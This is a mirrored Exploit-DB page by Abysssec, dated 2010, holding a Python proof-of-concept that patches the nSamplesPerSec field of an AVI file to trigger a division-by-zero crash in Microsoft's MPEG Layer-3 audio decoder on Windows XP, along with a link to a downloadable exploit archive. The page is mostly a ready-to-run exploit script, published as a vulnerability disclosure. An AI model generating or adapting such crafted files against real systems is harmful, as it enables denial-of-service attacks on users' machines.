Microsoft MPEG Layer-3 Audio Decoder – Division By Zero - 体验盒子

作者： Abysssec

日期： 2010-09-24

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/15096/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

'''

________ __ ____

|\/|/ __ \ /\| || |_ \

| \/ | || | /\ | || | |_) |

| |\/| | || |/ /\ \| || |_ <

| || | |__| / ____ \ |__| | |_) |

|_||_|\____/_/\_\____/|____/

http://www.exploit-db.com/moaub-24-microsoft-mpeg-layer-3-audio-decoder-division-by-zero/

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15096.zip (moaub-24-mp3-exploit.zip)

'''

Title:Microsoft MPEG Layer-3 Audio Decoder Division By Zero

Version:l3codeca.acm 1-9-0-306 (XP SP2 ñ XP SP3)

Analysis:http://www.abysssec.com

Vendor :http://www.microsoft.com

Impact :Med/High

Contact:shahin [at] abysssec.com , info[at] abysssec.com

Twitter:@abysssec

MOAUB Number :MOAUB-02

'''

import sys

import struct

def main():

try:

fdR = open('src.avi', 'rb+')

strTotal = fdR.read()

str1 = strTotal[:4428]

nSamplesPerSecField = '\x00\xff\xff\xff'

str2 = strTotal[4432:]

fdW= open('poc.avi', 'wb+')

fdW.write(str1)

fdW.write(nSamplesPerSecField)

fdW.write(str2)

fdW.close()

fdR.close()

print '[-] AVI file generated'

except IOError:

print '[*] Error : An IO error has occurred'

print '[-] Exiting ...'

sys.exit(-1)

if __name__ == '__main__':

main()